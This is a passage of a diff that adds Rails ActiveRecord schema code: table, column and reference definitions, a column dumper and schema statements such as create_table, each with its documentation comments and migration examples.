+        if to_table_ord
+          self.to_table == to_table_ord.to_s
+        else
+          (to_table.nil? || to_table.to_s == self.to_table) &&
+            options.all? { |k, v| self.options[k].to_s == v.to_s }
+        end
+      end
+
+      private
+        def default_primary_key
+          "id"
+        end
+    end
+
+    class ReferenceDefinition # :nodoc:
+      def initialize(
+        name,
+        polymorphic: false,
+        index: true,
+        foreign_key: false,
+        type: :bigint,
+        **options
+      )
+        @name = name
+        @polymorphic = polymorphic
+        @index = index
+        @foreign_key = foreign_key
+        @type = type
+        @options = options
+
+        if polymorphic && foreign_key
+          raise ArgumentError, "Cannot add a foreign key to a polymorphic relation"
+        end
+      end
+
+      def add_to(table)
+        columns.each do |column_options|
+          table.column(*column_options)
+        end
+
+        if index
+          table.index(column_names, index_options)
+        end
+
+        if foreign_key
+          table.foreign_key(foreign_table_name, foreign_key_options)
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :name, :polymorphic, :index, :foreign_key, :type, :options
+
+      private
+
+        def as_options(value)
+          value.is_a?(Hash) ? value : {}
+        end
+
+        def polymorphic_options
+          as_options(polymorphic).merge(null: options[:null])
+        end
+
+        def index_options
+          as_options(index)
+        end
+
+        def foreign_key_options
+          as_options(foreign_key).merge(column: column_name)
+        end
+
+        def columns
+          result = [[column_name, type, options]]
+          if polymorphic
+            result.unshift(["#{name}_type", :string, polymorphic_options])
+          end
+          result
+        end
+
+        def column_name
+          "#{name}_id"
+        end
+
+        def column_names
+          columns.map(&:first)
+        end
+
+        def foreign_table_name
+          foreign_key_options.fetch(:to_table) do
+            Base.pluralize_table_names ? name.to_s.pluralize : name
+          end
+        end
+    end
+
+    module ColumnMethods
+      # Appends a primary key definition to the table definition.
+      # Can be called multiple times, but this is probably not a good idea.
+      def primary_key(name, type = :primary_key, **options)
+        column(name, type, options.merge(primary_key: true))
+      end
+
+      # Appends a column or columns of a specified type.
+      #
+      #  t.string(:goat)
+      #  t.string(:goat, :sheep)
+      #
+      # See TableDefinition#column
+      [
+        :bigint,
+        :binary,
+        :boolean,
+        :date,
+        :datetime,
+        :decimal,
+        :float,
+        :integer,
+        :string,
+        :text,
+        :time,
+        :timestamp,
+        :virtual,
+      ].each do |column_type|
+        module_eval <<-CODE, __FILE__, __LINE__ + 1
+          def #{column_type}(*args, **options)
+            args.each { |name| column(name, :#{column_type}, options) }
+          end
+        CODE
+      end
+      alias_method :numeric, :decimal
+    end
+
+    # Represents the schema of an SQL table in an abstract way. This class
+    # provides methods for manipulating the schema representation.
+    #
+    # Inside migration files, the +t+ object in {create_table}[rdoc-ref:SchemaStatements#create_table]
+    # is actually of this type:
+    #
+    #   class SomeMigration < ActiveRecord::Migration[5.0]
+    #     def up
+    #       create_table :foo do |t|
+    #         puts t.class  # => "ActiveRecord::ConnectionAdapters::TableDefinition"
+    #       end
+    #     end
+    #
+    #     def down
+    #       ...
+    #     end
+    #   end
+    #
+    class TableDefinition
+      include ColumnMethods
+
+      attr_accessor :indexes
+      attr_reader :name, :temporary, :options, :as, :foreign_keys, :comment
+
+      def initialize(name, temporary = false, options = nil, as = nil, comment: nil)
+        @columns_hash = {}
+        @indexes = []
+        @foreign_keys = []
+        @primary_keys = nil
+        @temporary = temporary
+        @options = options
+        @as = as
+        @name = name
+        @comment = comment
+      end
+
+      def primary_keys(name = nil) # :nodoc:
+        @primary_keys = PrimaryKeyDefinition.new(name) if name
+        @primary_keys
+      end
+
+      # Returns an array of ColumnDefinition objects for the columns of the table.
+      def columns; @columns_hash.values; end
+
+      # Returns a ColumnDefinition for the column with name +name+.
+      def [](name)
+        @columns_hash[name.to_s]
+      end
+
+      # Instantiates a new column for the table.
+      # See {connection.add_column}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_column]
+      # for available options.
+      #
+      # Additional options are:
+      # * <tt>:index</tt> -
+      #   Create an index for the column. Can be either <tt>true</tt> or an options hash.
+      #
+      # This method returns <tt>self</tt>.
+      #
+      # == Examples
+      #
+      #  # Assuming +td+ is an instance of TableDefinition
+      #  td.column(:granted, :boolean, index: true)
+      #
+      # == Short-hand examples
+      #
+      # Instead of calling #column directly, you can also work with the short-hand definitions for the default types.
+      # They use the type as the method name instead of as a parameter and allow for multiple columns to be defined
+      # in a single statement.
+      #
+      # What can be written like this with the regular calls to column:
+      #
+      #   create_table :products do |t|
+      #     t.column :shop_id,     :integer
+      #     t.column :creator_id,  :integer
+      #     t.column :item_number, :string
+      #     t.column :name,        :string, default: "Untitled"
+      #     t.column :value,       :string, default: "Untitled"
+      #     t.column :created_at,  :datetime
+      #     t.column :updated_at,  :datetime
+      #   end
+      #   add_index :products, :item_number
+      #
+      # can also be written as follows using the short-hand:
+      #
+      #   create_table :products do |t|
+      #     t.integer :shop_id, :creator_id
+      #     t.string  :item_number, index: true
+      #     t.string  :name, :value, default: "Untitled"
+      #     t.timestamps null: false
+      #   end
+      #
+      # There's a short-hand method for each of the type values declared at the top. And then there's
+      # TableDefinition#timestamps that'll add +created_at+ and +updated_at+ as datetimes.
+      #
+      # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type
+      # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of
+      # options, these will be used when creating the <tt>_type</tt> column. The <tt>:index</tt> option
+      # will also create an index, similar to calling {add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index].
+      # So what can be written like this:
+      #
+      #   create_table :taggings do |t|
+      #     t.integer :tag_id, :tagger_id, :taggable_id
+      #     t.string  :tagger_type
+      #     t.string  :taggable_type, default: 'Photo'
+      #   end
+      #   add_index :taggings, :tag_id, name: 'index_taggings_on_tag_id'
+      #   add_index :taggings, [:tagger_id, :tagger_type]
+      #
+      # Can also be written as follows using references:
+      #
+      #   create_table :taggings do |t|
+      #     t.references :tag, index: { name: 'index_taggings_on_tag_id' }
+      #     t.references :tagger, polymorphic: true, index: true
+      #     t.references :taggable, polymorphic: { default: 'Photo' }
+      #   end
+      def column(name, type, options = {})
+        name = name.to_s
+        type = type.to_sym if type
+        options = options.dup
+
+        if @columns_hash[name] && @columns_hash[name].primary_key?
+          raise ArgumentError, "you can't redefine the primary key column '#{name}'. To define a custom primary key, pass { id: false } to create_table."
+        end
+
+        index_options = options.delete(:index)
+        index(name, index_options.is_a?(Hash) ? index_options : {}) if index_options
+        @columns_hash[name] = new_column_definition(name, type, options)
+        self
+      end
+
+      # remove the column +name+ from the table.
+      #   remove_column(:account_id)
+      def remove_column(name)
+        @columns_hash.delete name.to_s
+      end
+
+      # Adds index options to the indexes hash, keyed by column name
+      # This is primarily used to track indexes that need to be created after the table
+      #
+      #   index(:account_id, name: 'index_projects_on_account_id')
+      def index(column_name, options = {})
+        indexes << [column_name, options]
+      end
+
+      def foreign_key(table_name, options = {}) # :nodoc:
+        table_name_prefix = ActiveRecord::Base.table_name_prefix
+        table_name_suffix = ActiveRecord::Base.table_name_suffix
+        table_name = "#{table_name_prefix}#{table_name}#{table_name_suffix}"
+        foreign_keys.push([table_name, options])
+      end
+
+      # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
+      # <tt>:updated_at</tt> to the table. See {connection.add_timestamps}[rdoc-ref:SchemaStatements#add_timestamps]
+      #
+      #   t.timestamps null: false
+      def timestamps(**options)
+        options[:null] = false if options[:null].nil?
+
+        column(:created_at, :datetime, options)
+        column(:updated_at, :datetime, options)
+      end
+
+      # Adds a reference.
+      #
+      #  t.references(:user)
+      #  t.belongs_to(:supplier, foreign_key: true)
+      #
+      # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference] for details of the options you can use.
+      def references(*args, **options)
+        args.each do |ref_name|
+          ReferenceDefinition.new(ref_name, options).add_to(self)
+        end
+      end
+      alias :belongs_to :references
+
+      def new_column_definition(name, type, **options) # :nodoc:
+        type = aliased_types(type.to_s, type)
+        options[:primary_key] ||= type == :primary_key
+        options[:null] = false if options[:primary_key]
+        create_column_definition(name, type, options)
+      end
+
+      private
+        def create_column_definition(name, type, options)
+          ColumnDefinition.new(name, type, options)
+        end
+
+        def aliased_types(name, fallback)
+          "timestamp" == name ? :datetime : fallback
+        end
+    end
+
+    class AlterTable # :nodoc:
+      attr_reader :adds
+      attr_reader :foreign_key_adds
+      attr_reader :foreign_key_drops
+
+      def initialize(td)
+        @td   = td
+        @adds = []
+        @foreign_key_adds = []
+        @foreign_key_drops = []
+      end
+
+      def name; @td.name; end
+
+      def add_foreign_key(to_table, options)
+        @foreign_key_adds << ForeignKeyDefinition.new(name, to_table, options)
+      end
+
+      def drop_foreign_key(name)
+        @foreign_key_drops << name
+      end
+
+      def add_column(name, type, options)
+        name = name.to_s
+        type = type.to_sym
+        @adds << AddColumnDefinition.new(@td.new_column_definition(name, type, options))
+      end
+    end
+
+    # Represents an SQL table in an abstract way for updating a table.
+    # Also see TableDefinition and {connection.create_table}[rdoc-ref:SchemaStatements#create_table]
+    #
+    # Available transformations are:
+    #
+    #   change_table :table do |t|
+    #     t.primary_key
+    #     t.column
+    #     t.index
+    #     t.rename_index
+    #     t.timestamps
+    #     t.change
+    #     t.change_default
+    #     t.rename
+    #     t.references
+    #     t.belongs_to
+    #     t.string
+    #     t.text
+    #     t.integer
+    #     t.bigint
+    #     t.float
+    #     t.decimal
+    #     t.numeric
+    #     t.datetime
+    #     t.timestamp
+    #     t.time
+    #     t.date
+    #     t.binary
+    #     t.boolean
+    #     t.remove
+    #     t.remove_references
+    #     t.remove_belongs_to
+    #     t.remove_index
+    #     t.remove_timestamps
+    #   end
+    #
+    class Table
+      include ColumnMethods
+
+      attr_reader :name
+
+      def initialize(table_name, base)
+        @name = table_name
+        @base = base
+      end
+
+      # Adds a new column to the named table.
+      #
+      #  t.column(:name, :string)
+      #
+      # See TableDefinition#column for details of the options you can use.
+      def column(column_name, type, options = {})
+        @base.add_column(name, column_name, type, options)
+      end
+
+      # Checks to see if a column exists.
+      #
+      #  t.string(:name) unless t.column_exists?(:name, :string)
+      #
+      # See {connection.column_exists?}[rdoc-ref:SchemaStatements#column_exists?]
+      def column_exists?(column_name, type = nil, options = {})
+        @base.column_exists?(name, column_name, type, options)
+      end
+
+      # Adds a new index to the table. +column_name+ can be a single Symbol, or
+      # an Array of Symbols.
+      #
+      #  t.index(:name)
+      #  t.index([:branch_id, :party_id], unique: true)
+      #  t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party')
+      #
+      # See {connection.add_index}[rdoc-ref:SchemaStatements#add_index] for details of the options you can use.
+      def index(column_name, options = {})
+        @base.add_index(name, column_name, options)
+      end
+
+      # Checks to see if an index exists.
+      #
+      #  unless t.index_exists?(:branch_id)
+      #    t.index(:branch_id)
+      #  end
+      #
+      # See {connection.index_exists?}[rdoc-ref:SchemaStatements#index_exists?]
+      def index_exists?(column_name, options = {})
+        @base.index_exists?(name, column_name, options)
+      end
+
+      # Renames the given index on the table.
+      #
+      #  t.rename_index(:user_id, :account_id)
+      #
+      # See {connection.rename_index}[rdoc-ref:SchemaStatements#rename_index]
+      def rename_index(index_name, new_index_name)
+        @base.rename_index(name, index_name, new_index_name)
+      end
+
+      # Adds timestamps (+created_at+ and +updated_at+) columns to the table.
+      #
+      #  t.timestamps(null: false)
+      #
+      # See {connection.add_timestamps}[rdoc-ref:SchemaStatements#add_timestamps]
+      def timestamps(options = {})
+        @base.add_timestamps(name, options)
+      end
+
+      # Changes the column's definition according to the new options.
+      #
+      #  t.change(:name, :string, limit: 80)
+      #  t.change(:description, :text)
+      #
+      # See TableDefinition#column for details of the options you can use.
+      def change(column_name, type, options = {})
+        @base.change_column(name, column_name, type, options)
+      end
+
+      # Sets a new default value for a column.
+      #
+      #  t.change_default(:qualification, 'new')
+      #  t.change_default(:authorized, 1)
+      #  t.change_default(:status, from: nil, to: "draft")
+      #
+      # See {connection.change_column_default}[rdoc-ref:SchemaStatements#change_column_default]
+      def change_default(column_name, default_or_changes)
+        @base.change_column_default(name, column_name, default_or_changes)
+      end
+
+      # Removes the column(s) from the table definition.
+      #
+      #  t.remove(:qualification)
+      #  t.remove(:qualification, :experience)
+      #
+      # See {connection.remove_columns}[rdoc-ref:SchemaStatements#remove_columns]
+      def remove(*column_names)
+        @base.remove_columns(name, *column_names)
+      end
+
+      # Removes the given index from the table.
+      #
+      #   t.remove_index(:branch_id)
+      #   t.remove_index(column: [:branch_id, :party_id])
+      #   t.remove_index(name: :by_branch_party)
+      #
+      # See {connection.remove_index}[rdoc-ref:SchemaStatements#remove_index]
+      def remove_index(options = {})
+        @base.remove_index(name, options)
+      end
+
+      # Removes the timestamp columns (+created_at+ and +updated_at+) from the table.
+      #
+      #  t.remove_timestamps
+      #
+      # See {connection.remove_timestamps}[rdoc-ref:SchemaStatements#remove_timestamps]
+      def remove_timestamps(options = {})
+        @base.remove_timestamps(name, options)
+      end
+
+      # Renames a column.
+      #
+      #  t.rename(:description, :name)
+      #
+      # See {connection.rename_column}[rdoc-ref:SchemaStatements#rename_column]
+      def rename(column_name, new_column_name)
+        @base.rename_column(name, column_name, new_column_name)
+      end
+
+      # Adds a reference.
+      #
+      #  t.references(:user)
+      #  t.belongs_to(:supplier, foreign_key: true)
+      #
+      # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference] for details of the options you can use.
+      def references(*args, **options)
+        args.each do |ref_name|
+          @base.add_reference(name, ref_name, options)
+        end
+      end
+      alias :belongs_to :references
+
+      # Removes a reference. Optionally removes a +type+ column.
+      #
+      #  t.remove_references(:user)
+      #  t.remove_belongs_to(:supplier, polymorphic: true)
+      #
+      # See {connection.remove_reference}[rdoc-ref:SchemaStatements#remove_reference]
+      def remove_references(*args, **options)
+        args.each do |ref_name|
+          @base.remove_reference(name, ref_name, options)
+        end
+      end
+      alias :remove_belongs_to :remove_references
+
+      # Adds a foreign key.
+      #
+      # t.foreign_key(:authors)
+      #
+      # See {connection.add_foreign_key}[rdoc-ref:SchemaStatements#add_foreign_key]
+      def foreign_key(*args) # :nodoc:
+        @base.add_foreign_key(name, *args)
+      end
+
+      # Checks to see if a foreign key exists.
+      #
+      # t.foreign_key(:authors) unless t.foreign_key_exists?(:authors)
+      #
+      # See {connection.foreign_key_exists?}[rdoc-ref:SchemaStatements#foreign_key_exists?]
+      def foreign_key_exists?(*args) # :nodoc:
+        @base.foreign_key_exists?(name, *args)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
new file mode 100644
index 0000000000..9be26254b2
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    # The goal of this module is to move Adapter specific column
+    # definitions to the Adapter instead of having it in the schema
+    # dumper itself. This code represents the normal case.
+    # We can then redefine how certain data types may be handled in the schema dumper on the
+    # Adapter level by over-writing this code inside the database specific adapters
+    module ColumnDumper
+      def column_spec(column)
+        [schema_type_with_virtual(column), prepare_column_options(column)]
+      end
+
+      def column_spec_for_primary_key(column)
+        return {} if default_primary_key?(column)
+        spec = { id: schema_type(column).inspect }
+        spec.merge!(prepare_column_options(column).except!(:null))
+        spec[:default] ||= "nil" if explicit_primary_key_default?(column)
+        spec
+      end
+
+      # This can be overridden on an Adapter level basis to support other
+      # extended datatypes (Example: Adding an array option in the
+      # PostgreSQL::ColumnDumper)
+      def prepare_column_options(column)
+        spec = {}
+
+        if limit = schema_limit(column)
+          spec[:limit] = limit
+        end
+
+        if precision = schema_precision(column)
+          spec[:precision] = precision
+        end
+
+        if scale = schema_scale(column)
+          spec[:scale] = scale
+        end
+
+        default = schema_default(column) if column.has_default?
+        spec[:default] = default unless default.nil?
+
+        spec[:null] = "false" unless column.null
+
+        if collation = schema_collation(column)
+          spec[:collation] = collation
+        end
+
+        spec[:comment] = column.comment.inspect if column.comment.present?
+
+        spec
+      end
+
+      # Lists the valid migration options
+      def migration_keys # :nodoc:
+        column_options_keys
+      end
+      deprecate :migration_keys
+
+      private
+
+        def default_primary_key?(column)
+          schema_type(column) == :bigint
+        end
+
+        def explicit_primary_key_default?(column)
+          false
+        end
+
+        def schema_type_with_virtual(column)
+          if supports_virtual_columns? && column.virtual?
+            :virtual
+          else
+            schema_type(column)
+          end
+        end
+
+        def schema_type(column)
+          if column.bigint?
+            :bigint
+          else
+            column.type
+          end
+        end
+
+        def schema_limit(column)
+          limit = column.limit unless column.bigint?
+          limit.inspect if limit && limit != native_database_types[column.type][:limit]
+        end
+
+        def schema_precision(column)
+          column.precision.inspect if column.precision
+        end
+
+        def schema_scale(column)
+          column.scale.inspect if column.scale
+        end
+
+        def schema_default(column)
+          type = lookup_cast_type_from_column(column)
+          default = type.deserialize(column.default)
+          if default.nil?
+            schema_expression(column)
+          else
+            type.type_cast_for_schema(default)
+          end
+        end
+
+        def schema_expression(column)
+          "-> { #{column.default_function.inspect} }" if column.default_function
+        end
+
+        def schema_collation(column)
+          column.collation.inspect if column.collation
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
new file mode 100644
index 0000000000..e21f93856e
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -0,0 +1,1372 @@
+# frozen_string_literal: true
+
+require_relative "../../migration/join_table"
+require "active_support/core_ext/string/access"
+require "digest"
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module SchemaStatements
+      include ActiveRecord::Migration::JoinTable
+
+      # Returns a hash of mappings from the abstract data types to the native
+      # database types. See TableDefinition#column for details on the recognized
+      # abstract data types.
+      def native_database_types
+        {}
+      end
+
+      def table_options(table_name)
+        nil
+      end
+
+      # Returns the table comment that's stored in database metadata.
+      def table_comment(table_name)
+        nil
+      end
+
+      # Truncates a table alias according to the limits of the current adapter.
+      def table_alias_for(table_name)
+        table_name[0...table_alias_length].tr(".", "_")
+      end
+
+      # Returns the relation names useable to back Active Record models.
+      # For most adapters this means all #tables and #views.
+      def data_sources
+        query_values(data_source_sql, "SCHEMA")
+      rescue NotImplementedError
+        tables | views
+      end
+
+      # Checks to see if the data source +name+ exists on the database.
+      #
+      #   data_source_exists?(:ebooks)
+      #
+      def data_source_exists?(name)
+        query_values(data_source_sql(name), "SCHEMA").any? if name.present?
+      rescue NotImplementedError
+        data_sources.include?(name.to_s)
+      end
+
+      # Returns an array of table names defined in the database.
+      def tables
+        query_values(data_source_sql(type: "BASE TABLE"), "SCHEMA")
+      end
+
+      # Checks to see if the table +table_name+ exists on the database.
+      #
+      #   table_exists?(:developers)
+      #
+      def table_exists?(table_name)
+        query_values(data_source_sql(table_name, type: "BASE TABLE"), "SCHEMA").any? if table_name.present?
+      rescue NotImplementedError
+        tables.include?(table_name.to_s)
+      end
+
+      # Returns an array of view names defined in the database.
+      def views
+        query_values(data_source_sql(type: "VIEW"), "SCHEMA")
+      end
+
+      # Checks to see if the view +view_name+ exists on the database.
+      #
+      #   view_exists?(:ebooks)
+      #
+      def view_exists?(view_name)
+        query_values(data_source_sql(view_name, type: "VIEW"), "SCHEMA").any? if view_name.present?
+      rescue NotImplementedError
+        views.include?(view_name.to_s)
+      end
+
+      # Returns an array of indexes for the given table.
+      def indexes(table_name, name = nil)
+        raise NotImplementedError, "#indexes is not implemented"
+      end
+
+      # Checks to see if an index exists on a table for a given index definition.
+      #
+      #   # Check an index exists
+      #   index_exists?(:suppliers, :company_id)
+      #
+      #   # Check an index on multiple columns exists
+      #   index_exists?(:suppliers, [:company_id, :company_type])
+      #
+      #   # Check a unique index exists
+      #   index_exists?(:suppliers, :company_id, unique: true)
+      #
+      #   # Check an index with a custom name exists
+      #   index_exists?(:suppliers, :company_id, name: "idx_company_id")
+      #
+      def index_exists?(table_name, column_name, options = {})
+        column_names = Array(column_name).map(&:to_s)
+        checks = []
+        checks << lambda { |i| i.columns == column_names }
+        checks << lambda { |i| i.unique } if options[:unique]
+        checks << lambda { |i| i.name == options[:name].to_s } if options[:name]
+
+        indexes(table_name).any? { |i| checks.all? { |check| check[i] } }
+      end
+
+      # Returns an array of +Column+ objects for the table specified by +table_name+.
+      def columns(table_name)
+        table_name = table_name.to_s
+        column_definitions(table_name).map do |field|
+          new_column_from_field(table_name, field)
+        end
+      end
+
+      # Checks to see if a column exists in a given table.
+      #
+      #   # Check a column exists
+      #   column_exists?(:suppliers, :name)
+      #
+      #   # Check a column exists of a particular type
+      #   column_exists?(:suppliers, :name, :string)
+      #
+      #   # Check a column exists with a specific definition
+      #   column_exists?(:suppliers, :name, :string, limit: 100)
+      #   column_exists?(:suppliers, :name, :string, default: 'default')
+      #   column_exists?(:suppliers, :name, :string, null: false)
+      #   column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
+      #
+      def column_exists?(table_name, column_name, type = nil, options = {})
+        column_name = column_name.to_s
+        checks = []
+        checks << lambda { |c| c.name == column_name }
+        checks << lambda { |c| c.type == type } if type
+        column_options_keys.each do |attr|
+          checks << lambda { |c| c.send(attr) == options[attr] } if options.key?(attr)
+        end
+
+        columns(table_name).any? { |c| checks.all? { |check| check[c] } }
+      end
+
+      # Returns just a table's primary key
+      def primary_key(table_name)
+        pk = primary_keys(table_name)
+        pk = pk.first unless pk.size > 1
+        pk
+      end
+
+      # Creates a new table with the name +table_name+. +table_name+ may either
+      # be a String or a Symbol.
+      #
+      # There are two ways to work with #create_table. You can use the block
+      # form or the regular form, like this:
+      #
+      # === Block form
+      #
+      #   # create_table() passes a TableDefinition object to the block.
+      #   # This form will not only create the table, but also columns for the
+      #   # table.
+      #
+      #   create_table(:suppliers) do |t|
+      #     t.column :name, :string, limit: 60
+      #     # Other fields here
+      #   end
+      #
+      # === Block form, with shorthand
+      #
+      #   # You can also use the column types as method calls, rather than calling the column method.
+      #   create_table(:suppliers) do |t|
+      #     t.string :name, limit: 60
+      #     # Other fields here
+      #   end
+      #
+      # === Regular form
+      #
+      #   # Creates a table called 'suppliers' with no columns.
+      #   create_table(:suppliers)
+      #   # Add a column to 'suppliers'.
+      #   add_column(:suppliers, :name, :string, {limit: 60})
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:id</tt>]
+      #   Whether to automatically add a primary key column. Defaults to true.
+      #   Join tables for {ActiveRecord::Base.has_and_belongs_to_many}[rdoc-ref:Associations::ClassMethods#has_and_belongs_to_many] should set it to false.
+      #
+      #   A Symbol can be used to specify the type of the generated primary key column.
+      # [<tt>:primary_key</tt>]
+      #   The name of the primary key, if one is to be added automatically.
+      #   Defaults to +id+. If <tt>:id</tt> is false, then this option is ignored.
+      #
+      #   If an array is passed, a composite primary key will be created.
+      #
+      #   Note that Active Record models will automatically detect their
+      #   primary key. This can be avoided by using
+      #   {self.primary_key=}[rdoc-ref:AttributeMethods::PrimaryKey::ClassMethods#primary_key=] on the model
+      #   to define the key explicitly.
+      #
+      # [<tt>:options</tt>]
+      #   Any extra options you want appended to the table definition.
+      # [<tt>:temporary</tt>]
+      #   Make a temporary table.
+      # [<tt>:force</tt>]
+      #   Set to true to drop the table before creating it.
+      #   Set to +:cascade+ to drop dependent objects as well.
+      #   Defaults to false.
+      # [<tt>:as</tt>]
+      #   SQL to use to generate the table. When this option is used, the block is
+      #   ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
+      #
+      # ====== Add a backend specific option to the generated SQL (MySQL)
+      #
+      #   create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+      #
+      # generates:
+      #
+      #   CREATE TABLE suppliers (
+      #     id int auto_increment PRIMARY KEY
+      #   ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+      #
+      # ====== Rename the primary key column
+      #
+      #   create_table(:objects, primary_key: 'guid') do |t|
+      #     t.column :name, :string, limit: 80
+      #   end
+      #
+      # generates:
+      #
+      #   CREATE TABLE objects (
+      #     guid int auto_increment PRIMARY KEY,
+      #     name varchar(80)
+      #   )
+      #
+      # ====== Change the primary key column type
+      #
+      #   create_table(:tags, id: :string) do |t|
+      #     t.column :label, :string
+      #   end
+      #
+      # generates:
+      #
+      #   CREATE TABLE tags (
+      #     id varchar PRIMARY KEY,
+      #     label varchar
+      #   )
+      #
+      # ====== Create a composite primary key
+      #
+      #   create_table(:orders, primary_key: [:product_id, :client_id]) do |t|
+      #     t.belongs_to :product
+      #     t.belongs_to :client
+      #   end
+      #
+      # generates:
+      #
+      #   CREATE TABLE order (
+      #       product_id integer NOT NULL,
+      #       client_id integer NOT NULL
+      #   );
+      #
+      #   ALTER TABLE ONLY "orders"
+      #     ADD CONSTRAINT orders_pkey PRIMARY KEY (product_id, client_id);
+      #
+      # ====== Do not add a primary key column
+      #
+      #   create_table(:categories_suppliers, id: false) do |t|
+      #     t.column :category_id, :integer
+      #     t.column :supplier_id, :integer
+      #   end
+      #
+      # generates:
+      #
+      #   CREATE TABLE categories_suppliers (
+      #     category_id int,
+      #     supplier_id int
+      #   )
+      #
+      # ====== Create a temporary table based on a query
+      #
+      #   create_table(:long_query, temporary: true,
+      #     as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+      #
+      # generates:
+      #
+      #   CREATE TEMPORARY TABLE long_query AS
+      #     SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+      #
+      # See also TableDefinition#column for details on how to create columns.
+      def create_table(table_name, comment: nil, **options)
+        td = create_table_definition table_name, options[:temporary], options[:options], options[:as], comment: comment
+
+        if options[:id] != false && !options[:as]
+          pk = options.fetch(:primary_key) do
+            Base.get_primary_key table_name.to_s.singularize
+          end
+
+          if pk.is_a?(Array)
+            td.primary_keys pk
+          else
+            td.primary_key pk, options.fetch(:id, :primary_key), options
+          end
+        end
+
+        yield td if block_given?
+
+        if options[:force]
+          drop_table(table_name, **options, if_exists: true)
+        end
+
+        result = execute schema_creation.accept td
+
+        unless supports_indexes_in_create?
+          td.indexes.each do |column_name, index_options|
+            add_index(table_name, column_name, index_options)
+          end
+        end
+
+        if supports_comments? && !supports_comments_in_create?
+          change_table_comment(table_name, comment) if comment.present?
+
+          td.columns.each do |column|
+            change_column_comment(table_name, column.name, column.comment) if column.comment.present?
+          end
+        end
+
+        result
+      end
+
+      # Creates a new join table with the name created using the lexical order of the first two
+      # arguments. These arguments can be a String or a Symbol.
+      #
+      #   # Creates a table called 'assemblies_parts' with no id.
+      #   create_join_table(:assemblies, :parts)
+      #
+      # You can pass an +options+ hash which can include the following keys:
+      # [<tt>:table_name</tt>]
+      #   Sets the table name, overriding the default.
+      # [<tt>:column_options</tt>]
+      #   Any extra options you want appended to the columns definition.
+      # [<tt>:options</tt>]
+      #   Any extra options you want appended to the table definition.
+      # [<tt>:temporary</tt>]
+      #   Make a temporary table.
+      # [<tt>:force</tt>]
+      #   Set to true to drop the table before creating it.
+      #   Defaults to false.
+      #
+      # Note that #create_join_table does not create any indices by default; you can use
+      # its block form to do so yourself:
+      #
+      #   create_join_table :products, :categories do |t|
+      #     t.index :product_id
+      #     t.index :category_id
+      #   end
+      #
+      # ====== Add a backend specific option to the generated SQL (MySQL)
+      #
+      #   create_join_table(:assemblies, :parts, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+      #
+      # generates:
+      #
+      #   CREATE TABLE assemblies_parts (
+      #     assembly_id int NOT NULL,
+      #     part_id int NOT NULL,
+      #   ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+      #
+      def create_join_table(table_1, table_2, column_options: {}, **options)
+        join_table_name = find_join_table_name(table_1, table_2, options)
+
+        column_options.reverse_merge!(null: false, index: false)
+
+        t1_ref, t2_ref = [table_1, table_2].map { |t| t.to_s.singularize }
+
+        create_table(join_table_name, options.merge!(id: false)) do |td|
+          td.references t1_ref, column_options
+          td.references t2_ref, column_options
+          yield td if block_given?
+        end
+      end
+
+      # Drops the join table specified by the given arguments.
+      # See #create_join_table for details.
+      #
+      # Although this command ignores the block if one is given, it can be helpful
+      # to provide one in a migration's +change+ method so it can be reverted.
+      # In that case, the block will be used by #create_join_table.
+      def drop_join_table(table_1, table_2, options = {})
+        join_table_name = find_join_table_name(table_1, table_2, options)
+        drop_table(join_table_name)
+      end
+
+      # A block for changing columns in +table+.
+      #
+      #   # change_table() yields a Table instance
+      #   change_table(:suppliers) do |t|
+      #     t.column :name, :string, limit: 60
+      #     # Other column alterations here
+      #   end
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:bulk</tt>]
+      #   Set this to true to make this a bulk alter query, such as
+      #
+      #     ALTER TABLE `users` ADD COLUMN age INT, ADD COLUMN birthdate DATETIME ...
+      #
+      #   Defaults to false.
+      #
+      # ====== Add a column
+      #
+      #   change_table(:suppliers) do |t|
+      #     t.column :name, :string, limit: 60
+      #   end
+      #
+      # ====== Add 2 integer columns
+      #
+      #   change_table(:suppliers) do |t|
+      #     t.integer :width, :height, null: false, default: 0
+      #   end
+      #
+      # ====== Add created_at/updated_at columns
+      #
+      #   change_table(:suppliers) do |t|
+      #     t.timestamps
+      #   end
+      #
+      # ====== Add a foreign key column
+      #
+      #   change_table(:suppliers) do |t|
+      #     t.references :company
+      #   end
+      #
+      # Creates a <tt>company_id(integer)</tt> column.
+      #
+      # ====== Add a polymorphic foreign key column
+      #
+      #  change_table(:suppliers) do |t|
+      #    t.belongs_to :company, polymorphic: true
+      #  end
+      #
+      # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns.
+      #
+      # ====== Remove a column
+      #
+      #  change_table(:suppliers) do |t|
+      #    t.remove :company
+      #  end
+      #
+      # ====== Remove several columns
+      #
